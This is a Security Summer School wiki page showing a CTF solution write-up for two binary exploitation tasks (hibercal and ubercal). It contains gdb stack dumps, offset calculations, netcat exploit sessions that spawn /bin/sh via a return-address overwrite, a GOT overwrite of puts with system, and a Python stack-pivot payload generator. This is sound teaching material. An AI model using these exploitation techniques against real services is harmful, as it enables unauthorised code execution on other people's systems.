Security Summer School

User Tools

Site Tools

session:solution:mid-ctf_tasks2_4

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision 		Previous revision
session:solution:mid-ctf_tasks2_4 [2014/07/11 11:08]
rcaragea created 		session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current)
Line 1: Line 1:
 ====== CTF Tasks 2 & 4 ====== ====== CTF Tasks 2 & 4 ======
 +
 +===== Task 2 =====
 +
 +We start by browsing the source code and looking for a vulnerability. We immediately see this line:
 +<code c>
 +        calendar[allowed_day] = entry;
 +</code>
 +Here, both **allowed_day** and **entry** are controlled by us and there is no bounds checking. Thus, this is an arbitrary write to anywhere in memory. However, it's a relative rather than absolute write, which limits us to known offsets.  The usual suspect for arbitrary writes is the return address. If we had a function that called **system("/bin/sh")** we could point the return address there and it would be over. Here, we only have **one** write on the stack. Let's see what is on the stack before we think of anything harder.
 +
 +<code bash>
 +$ gdb ./hibercal
 +gdb-peda$ pdis hibercal
 +Dump of assembler code for function hibercal:
 +   0x080488ec <+0>: push   ebp
 +   0x080488ed <+1>: mov    ebp,esp
 +........
 +   0x08048990 <+164>: call   0x80488d8 <process_calendar>
 +   0x08048995 <+169>: mov    DWORD PTR [esp],0x8048dc5
 +   0x0804899c <+176>: call   0x80486e0 <puts@plt>
 +   0x080489a1 <+181>: mov    eax,DWORD PTR [ebp+0x8]
 +   0x080489a4 <+184>: mov    DWORD PTR [esp],eax
 +   0x080489a7 <+187>: call   0x80486e0 <puts@plt>
 +   0x080489ac <+192>: leave  
 +   0x080489ad <+193>: ret    
 +End of assembler dump.
 +gdb-peda$ break *0x080489ad
 +Breakpoint 1 at 0x80489ad
 +gdb-peda$ set follow-fork-mode child
 +gdb-peda$ run 4242
 +Starting program: /tmp/ctf/Task2/hibercal 4242
 +
 +
 +
 +Breakpoint 1, 0x080489ad in hibercal ()
 +gdb-peda$ context stack
 +[------------------------------------stack-------------------------------------]
 +0000| 0xbfffecec --> 0x8048a1c (<doprocessing+110>: leave)
 +0004| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
 +0008| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
 +0012| 0xbfffecf8 --> 0xb7fff900 --> 0x0 
 +0016| 0xbfffecfc --> 0x1 
 +0020| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>: cmp    DWORD PTR gs:0xc,0x0)
 +0024| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub    esp,0x14)
 +0028| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 
 +0032| 0xbfffed0c ("Santa_claus")
 +0036| 0xbfffed10 ("a_claus")
 +0040| 0xbfffed14 --> 0x737561 ('aus')
 +0044| 0xbfffed18 --> 0x0 
 +0048| 0xbfffed1c --> 0xb7eb0037 (<fork+359>: mov    esi,DWORD PTR [ebp-0x2c])
 +0052| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 
 +0056| 0xbfffed24 --> 0x0 
 +0060| 0xbfffed28 --> 0x7f 
 +
 +[------------------------------------------------------------------------------]
 +</code>
 +
 +So, this is the code execution context when I entered "Santa_claus" as the name. **0x8048a1c** is the return address which we could overwrite.
 +Since **system** is called in another function (**no_chance**) it is also imported in the PLT. We can take the address from there and replace the return address with it.
 +The result would be the equivalent of **system("Santa_claus")**. And if we replace the name with "/bin/sh" we pop a shell.
 +
 +
 +We only need to know what is the offset to the return address. We write 0x41424344=1094861636 at day 0 and then compute by hand:
 +
 +<code bash>
 +gdb-peda$ run 4242
 +Starting program: /tmp/ctf/Task2/hibercal 4242
 +warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 +
 +warning: Could not load shared library symbols for linux-gate.so.1.
 +Do you need "set solib-search-path" or "set sysroot"?
 +[New process 19558]
 +[Switching to process 19558]
 +Breakpoint 1, 0x080489ad in hibercal ()
 +gdb-peda$ telescope $esp-4*30 50
 +0000| 0xbfffec74 --> 0x0 
 +0004| 0xbfffec78 --> 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 
 +0008| 0xbfffec7c --> 0x80489ac (<hibercal+192>: leave)
 +0012| 0xbfffec80 --> 0xbfffed0c ("Santa_claus")
 +0016| 0xbfffec84 --> 0x804a08c ("DCBA")
 +0020| 0xbfffec88 --> 0x0 
 +0024| 0xbfffec8c --> 0xb7e6a17b (<__overflow+75>: mov    ebx,DWORD PTR [esp+0x14])
 +0028| 0xbfffec90 --> 0xb7f9a9e0 --> 0xfbad2887 
 +0032| 0xbfffec94 --> 0xa ('\n')
 +0036| 0xbfffec98 --> 0xb7f9a9e0 --> 0xfbad2887 
 +0040| 0xbfffec9c ("DCBA*")
 +0044| 0xbfffeca0 --> 0x2a ('*')
 +0048| 0xbfffeca4 --> 0x2a ('*')
 +0052| 0xbfffeca8 --> 0x2a ('*')
 +0056| 0xbfffecac --> 0x2a ('*')
 +0060| 0xbfffecb0 --> 0x2a ('*')
 +0064| 0xbfffecb4 --> 0x2a ('*')
 +0068| 0xbfffecb8 --> 0x2a ('*')
 +0072| 0xbfffecbc --> 0x2a ('*')
 +0076| 0xbfffecc0 --> 0x2a ('*')
 +0080| 0xbfffecc4 --> 0x2a ('*')
 +0084| 0xbfffecc8 --> 0x2a ('*')
 +0088| 0xbfffeccc --> 0x2a ('*')
 +0092| 0xbfffecd0 --> 0x2a ('*')
 +0096| 0xbfffecd4 --> 0x2a ('*')
 +0100| 0xbfffecd8 --> 0x2a ('*')
 +0104| 0xbfffecdc --> 0x10 
 +0108| 0xbfffece0 --> 0x0 
 +0112| 0xbfffece4 --> 0x0 
 +0116| 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 
 +0120| 0xbfffecec --> 0x8048a1c (<doprocessing+110>: leave)
 +0124| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
 +0128| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
 +0132| 0xbfffecf8 --> 0xb7fff900 --> 0x0 
 +0136| 0xbfffecfc --> 0x1 
 +0140| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>: cmp    DWORD PTR gs:0xc,0x0)
 +0144| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub    esp,0x14)
 +0148| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 
 +0152| 0xbfffed0c ("Santa_claus")
 +0156| 0xbfffed10 ("a_claus")
 +0160| 0xbfffed14 --> 0x737561 ('aus')
 +0164| 0xbfffed18 --> 0x0 
 +0168| 0xbfffed1c --> 0xb7eb0037 (<fork+359>: mov    esi,DWORD PTR [ebp-0x2c])
 +0172| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 
 +0176| 0xbfffed24 --> 0x0 
 +0180| 0xbfffed28 --> 0x7f 
 +0184| 0xbfffed2c --> 0x8048e14 --> 0x52524500 ('')
 +0188| 0xbfffed30 --> 0xbffff074 ("4242")
 +0192| 0xbfffed34 --> 0x804840c --> 0x62696c00 ('')
 +0196| 0xbfffed38 --> 0xb7ef6669 (<inet_aton+9>: add    ebx,0xa37eb)
 +</code>
 +
 +We see our value at 0xbfffec9c and then lots of 42's and the return address at 0xbfffecec.
 +0xbfffecec - 0xbfffec9c = 80 = 4 * 20.
 +
 +Thus, we need to write at day 20.
 +
 +
 +
 +
 +
 +Let's try it.
 +<code bash>
 +$ gdb ./hibercal 
 +gdb-peda$ p system
 +$1 = {<text variable, no debug info>} 0x80486f0 <system@plt>
 +gdb-peda$ quit
 +
 +$ python
 +>>> 0x80486f0
 +134514416
 +
 +$ nc 127.0.0.1 4242
 +Enter your name:
 +
 +/bin/sh
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +20
 +What do you want to write?
 +134514416
 +Goodbye
 +/bin/sh
 +date
 +Fri Jul 11 12:35:22 EEST 2014
 +
 +</code>
 +
 +
 +===== Task 4 =====
 +
 +This task is said to be more secure than the previous one. Since we have the source to both let's do a diff.
 +<code diff>
 +--- hibercal.c 2014-07-06 15:56:04.000000000 +0300
 ++++ ubercal.c 2014-07-06 15:56:28.000000000 +0300
 +@@ -14,7 +14,7 @@
 + {
 +  printf("No chance to get here\n");
 +  printf("But let's write it on the Wall of Fame just in case\n");
 +- system("date >> /tmp/wall_of_fame.txt");
 ++ system("date >> /tmp/wall_of_fame2.txt");
 + }
 + 
 + 
 +@@ -24,9 +24,14 @@
 +  sleep(HIBER);
 + }
 + 
 +-void hibercal(char *name)
 ++void ubercal()
 + {
 +  int i, calendar[HIBER];
 ++
 ++ char name[100];
 ++ puts("Enter your name:\n");
 ++ scanf("%99s", name);
 ++
 +  for (i = 0 ; i < HIBER; i++)
 +  calendar[i] = 42;
 + 
 +@@ -52,21 +57,12 @@
 + 
 + void doprocessing(int sockfd)
 + {
 +- char buf[100];
 +  dup2(sockfd, 1);
 +  dup2(sockfd, 0);
 +  setbuf(stdout, NULL);
 +- puts("Enter your name:\n");
 +- scanf("%99s", buf);
 +- hibercal(buf);
 ++ ubercal();
 + }
 + 
 +-
 +-
 +-
 +-
 +-
 +-
 + int main(int argc, char **argv)
 + {
 +     int optval = 1;
 +@@ -132,7 +128,3 @@
 +         }
 +     }
 + }
 +</code>
 +
 +So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of "ret".
 +<code bash>
 +  0x080489c1 <+213>: call   0x80486e0 <puts@plt>
 +   0x080489c6 <+218>: lea    eax,[ebp-0xb0]
 +   0x080489cc <+224>: mov    DWORD PTR [esp],eax
 +   0x080489cf <+227>: call   0x80486e0 <puts@plt>
 +   0x080489d4 <+232>: leave  
 +   0x080489d5 <+233>: ret    
 +End of assembler dump.
 +gdb-peda$ break *0x080489d5
 +Breakpoint 1 at 0x80489d5
 +gdb-peda$ run 4242
 +Breakpoint 1, 0x080489d5 in ubercal ()
 +gdb-peda$ context stack
 +[------------------------------------stack-------------------------------------]
 +0000| 0xbfffed5c --> 0x8048a1c (<doprocessing+70>: leave)
 +0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887 
 +0008| 0xbfffed64 --> 0x0 
 +0012| 0xbfffed68 --> 0x8661 
 +0016| 0xbfffed6c --> 0xbfffede8 --> 0x0 
 +0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c 
 +0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c 
 +0028| 0xbfffed78 --> 0xbfffede8 --> 0x0 
 +0032| 0xbfffed7c --> 0x8048bee (<main+464>: mov    DWORD PTR [esp],0x0)
 +0036| 0xbfffed80 --> 0x4 
 +0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002 
 +0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10 
 +0048| 0xbfffed8c --> 0xbfffedcc --> 0x1 
 +0052| 0xbfffed90 --> 0x4 
 +0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/tmp/ctf/Task4/ubercal")
 +0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d 
 +
 +[------------------------------------------------------------------------------]
 +
 +</code>
 +
 +Unfortunately, rearranging the code means that the name isn't placed on the stack anymore. We need to inspect the code further:
 +<code c>
 +void ubercal()
 +{
 +        int i, calendar[HIBER];
 +
 +        char name[100];
 +        puts("Enter your name:\n");
 +        scanf("%99s", name);
 +
 +        for (i = 0 ; i < HIBER; i++)
 +                calendar[i] = 42;
 +
 +        if (allowed_day == 0) {
 +                printf("You are allowed to write an entry in the %d-day hibernation calendar. What will it be? Make it a good one!\n", HIBER);
 +
 +                puts("Which day?");
 +                scanf("%d", &allowed_day);
 +
 +                puts("What do you want to write?");
 +                scanf("%d", &entry);
 +        } else {
 +                puts("You already wrote in my calendar");
 +        }
 +        calendar[allowed_day] = entry;
 +
 +        process_calendar(calendar);
 +
 +        puts("Goodbye");
 +        puts(name); // <=========================
 +}
 +</code>
 +
 +Notice **puts(name)**. Can we replace **puts** with **system**? Let's remember how **puts** works:
 +
 +<code bash>
 +gdb-peda$ context code
 +[-------------------------------------code-------------------------------------]
 +   0x80488e5 <process_calendar+13>: call   0x80486a0 <sleep@plt>
 +   0x80488ea <process_calendar+18>: leave  
 +   0x80488eb <process_calendar+19>: ret    
 +   0x80488ec <ubercal>: push   ebp
 +   0x80488ed <ubercal+1>: mov    ebp,esp
 +   0x80488ef <ubercal+3>: sub    esp,0xc8
 +   0x80488f5 <ubercal+9>: mov    DWORD PTR [esp],0x8048d0b
 +=> 0x80488fc <ubercal+16>: call   0x80486e0 <puts@plt>
 +   0x8048901 <ubercal+21>: lea    eax,[ebp-0xb0]
 +   0x8048907 <ubercal+27>: mov    DWORD PTR [esp+0x4],eax
 +   0x804890b <ubercal+31>: mov    DWORD PTR [esp],0x8048d1d
 +   0x8048912 <ubercal+38>: call   0x8048760 <__isoc99_scanf@plt>
 +   0x8048917 <ubercal+43>: mov    DWORD PTR [ebp-0xc],0x0
 +   0x804891e <ubercal+50>: jmp    0x804892f <ubercal+67>
 +   0x8048920 <ubercal+52>: mov    eax,DWORD PTR [ebp-0xc]
 +   0x8048923 <ubercal+55>: mov    DWORD PTR [ebp+eax*4-0x4c],0x2a
 +Guessed arguments:
 +arg[0]: 0x8048d0b ("Enter your name:\n")
 +[------------------------------------------------------------------------------]
 +
 +gdb-peda$ si
 +gdb-peda$ context code
 +[-------------------------------------code-------------------------------------]
 +   0x80486bb <htons@plt+11>: jmp    0x8048640
 +   0x80486c0 <perror@plt>: jmp    DWORD PTR ds:0x804a028
 +   0x80486c6 <perror@plt+6>: push   0x38
 +   0x80486cb <perror@plt+11>: jmp    0x8048640
 +   0x80486d0 <accept@plt>: jmp    DWORD PTR ds:0x804a02c
 +   0x80486d6 <accept@plt+6>: push   0x40
 +   0x80486db <accept@plt+11>: jmp    0x8048640
 +=> 0x80486e0 <puts@plt>: jmp    DWORD PTR ds:0x804a030
 + | 0x80486e6 <puts@plt+6>: push   0x48
 + | 0x80486eb <puts@plt+11>: jmp    0x8048640
 + | 0x80486f0 <system@plt>: jmp    DWORD PTR ds:0x804a034
 + | 0x80486f6 <system@plt+6>: push   0x50
 + | 0x80486fb <system@plt+11>: jmp    0x8048640
 + | 0x8048700 <__gmon_start__@plt>: jmp    DWORD PTR ds:0x804a038
 + | 0x8048706 <__gmon_start__@plt+6>: push   0x58
 + | 0x804870b <__gmon_start__@plt+11>: jmp    0x8048640
 + |->   0x80486e6 <puts@plt+6>: push   0x48
 +       0x80486eb <puts@plt+11>: jmp    0x8048640
 +       0x80486f0 <system@plt>: jmp    DWORD PTR ds:0x804a034
 +       0x80486f6 <system@plt+6>: push   0x50
 +       0x80486fb <system@plt+11>: jmp    0x8048640
 +       0x8048700 <__gmon_start__@plt>: jmp    DWORD PTR ds:0x804a038
 +       0x8048706 <__gmon_start__@plt+6>: push   0x58
 +       0x804870b <__gmon_start__@plt+11>: jmp    0x8048640
 +                                                                  JUMP is taken
 +[------------------------------------------------------------------------------]
 +gdb-peda$ telescope 0x804a030
 +0000| 0x804a030 --> 0x80486e6 (<puts@plt+6>: push   0x48)
 +0004| 0x804a034 --> 0x80486f6 (<system@plt+6>: push   0x50)
 +
 +</code>
 +It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are **written** with the correct address. So the table is writable! We can write the address of system into puts.
 +
 +But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine:
 +  * Task 2: HiberCal => exploit task (source provided)  **150 points**
 +    * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337 
 +  * Task 4: UberCal => harder exploit, variation on task 2  **300 points**
 +    * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338
 +
 +How does that help us?  The analogy is the following:
 +We have an arbitrary write at **X + 4 * Y = Z**. We control Y but we don't know X. What about Z? 
 +
 +Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to **dmesg** the location of the invalid address. But we have access to **dmesg** on that machine since we solved the previous challenge.
 +
 +<code bash>
 +$ nc 127.0.0.1 4242
 +Enter your name:
 +
 +test
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +-100000
 +What do you want to write?
 +1
 +$ dmesg|tail -1
 +ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000]
 +</code>
 +
 +So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c
 +
 +If you followed everything so far you know we have all we need for the exploit.
 +Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/4 = -771674951. The value to be written can be the one from system (0x80486f6)
 +
 +<code bash>
 +$ nc 127.0.0.1 4242
 +Enter your name:
 +
 +/bin/sh
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +-771674951
 +What do you want to write?
 +134514422
 +date
 +Fri Jul 11 13:06:50 EEST 2014
 +</code>
 +
 +Works as expected!
 +
 +==== Solving using Paul's idea (stack pivoting) ====
 +During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more "room" where to write both **system** and its argument.
 +It's a much more difficult solution but doable. Let's try it.
 +
 +The whole idea is to use the **leave** and **ret** set of instructions to do some magic.
 +**leave** esentially does
 +<code asm>
 +mov esp, ebp
 +pop ebp
 +</code>
 +
 +So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack.
 +Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well.
 +
 +If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**.
 +Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**.
 +
 +So the context is the following:
 +<code>
 +Initially:                            ESP = old_esp, EBP = current_ebp, saved_ebp = our_input
 +After leave part1 (mov esp, ebp):     ESP = current_ebp    EBP = current_ebp,   saved_ebp = our_input
 +After leave part2 (pop ebp):          ESP = current_ebp + 4    EBP = saved_ebp = our_input
 +
 +After return:                         ESP = current_ebp + 8     EBP = our_input
 +
 +
 +After leave part1 (mov esp, ebp):     ESP = our_input,      EBP = our_input
 +After leave part2 (pop ebp):          ESP = our_input + 4   EBP= first 4 bytes at the address "our_input"
 +
 +After return:                         ESP = our_input + 8   EIP=bytes 4:7 at the address "our_input"     EBP= first 4 bytes at the address "our_input"
 +</code>
 +
 +We can control EIP with bytes 4:7 and the stack as well.
 +We can reuse the instruction at 0x080488d1:
 +<code asm>
 +   0x080488ca <+30>: mov    DWORD PTR [esp],0x8048cec
 +   0x080488d1 <+37>: call   0x80486f0 <system@plt>
 +</code>
 +We see the call to **system** expects the parameter to be right on the top of the stack.
 +Our payload should now be like this:
 +<code>
 +00: value of our_input
 +04: 0x080488d1 (call to system)
 +08: address that holds the command given to system
 +0c: ????
 +</code>
 +
 +Since the only buffer we control is the name we want the following:
 +<code>
 +name+00 : address of name
 +name+04 : 0x080488d1 (call to system)
 +name+08 : address of name+0c
 +name+0c : the actual command
 +</code>
 +
 +All we need now is to find out the address of the **name** buffer. We have the following snippets:
 +
 +<code asm>
 +   0x080489c6 <+218>: lea    eax,[ebp-0xb0]
 +   0x080489cc <+224>: mov    DWORD PTR [esp],eax
 +   0x080489cf <+227>: call   0x80486e0 <puts@plt>
 +
 +
 +
 +   0x080489af <+195>: lea    eax,[ebp-0x4c]
 +   0x080489b2 <+198>: mov    DWORD PTR [esp],eax
 +   0x080489b5 <+201>: call   0x80488d8 <process_calendar>
 +</code>
 +So
 +<code>
 +
 +name = ebp - 0xb0
 +calendar = ebp - 0x4c
 +
 +
 +name - calendar = - 0xb0 + 0x4c = -100
 +
 +name = calendar - 100
 +</code>
 +But we already know the address of **calendar** from before. It's X from the previous solution using dmesg.
 +
 +The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it.
 +
 +The full python script is:
 +<code python>
 +#!/usr/bin/python
 +import struct,sys;
 +
 +
 +segv_addr = 0xbff9dc5c
 +calendar_addr = segv_addr + 100000 * 4
 +buffer_addr = calendar_addr - 100
 +
 +
 +
 +val = struct.unpack("<i", struct.pack("<I", buffer_addr))
 +
 +sys.stderr.write(" Use 19 and %s as input\n" % val)
 +
 +
 +
 +payload = struct.pack('<I', buffer_addr)
 +payload += struct.pack('<I', 0x080488d1)
 +payload += struct.pack('<I', buffer_addr + 12) #skip these first 4 + 4 + 4  bytes
 +payload += "/bin/sh"
 +
 +print payload
 +
 +</code>
 +
 +And now we try it:
 +<code bash>
 +$ cat <(python gen_input.py) - | nc 127.0.0.1 4242
 +Enter your name:
 +
 + Use 19 and -1073746712 as input
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +19
 +What do you want to write?
 +-1073746712
 +Goodbye
 +èìÿ¿ôìÿ¿/bin/sh
 +date
 +Fri Jul 11 13:50:37 EEST 2014
 +ls
 +Makefile
 +README
 +ubercal
 +ubercal.c
 +
 +</code>
 +
  
session/solution/mid-ctf_tasks2_4.1405066126.txt.gz · Last modified: 2014/07/11 11:08 by rcaragea

Page Tools

Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Share Alike 4.0 International
CC Attribution-Share Alike 4.0 International Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki